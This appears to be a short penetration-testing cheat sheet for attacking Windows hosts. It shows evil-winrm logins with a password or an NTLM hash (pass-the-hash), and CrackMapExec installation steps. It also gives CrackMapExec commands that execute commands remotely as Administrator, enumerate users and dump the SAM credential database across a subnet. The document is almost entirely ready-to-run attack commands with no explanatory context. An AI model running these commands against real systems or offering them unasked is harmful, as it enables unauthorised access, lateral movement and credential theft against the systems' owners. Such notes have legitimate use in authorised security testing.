Windows


========================Evil Winnnn : 
>>> evil-winrm -i $IP -u username  -p password
>>> evil-winrm -i $IP -u username -H <NTLM_HASH_ONLY_HASH_PART>



========================Crack Map Exec================================= 
======Intallation : 
>>> apt-get install -y libssl-dev libffi-dev python-dev build-essential
>>> git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
>>> cd CrackMapExec
>>> poetry install
>>> poetry run crackmapexec

======Commands (very few examples) : 
--> Execute 'whoami'
>>> crackmapexec $IP -u Administrator -p 'PASS' -x whoami
-->Show Domain Administrators.
>>> crackmapexec $IP -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec
--> PS Version Table:
>>> crackmapexec $IP -u Administrator -p 'PASS' -X '$PSVersionTable'
--> List out Machine Users.
>>> crackmapexec $IP -u 'Administrator' -p 'PASS' --lusers
--> Dump SAM Database.
>>> crackmapexec $IP/24 -u 'Administrator' -p 'PASS' --local-auth --sam

====================================================================




Last updated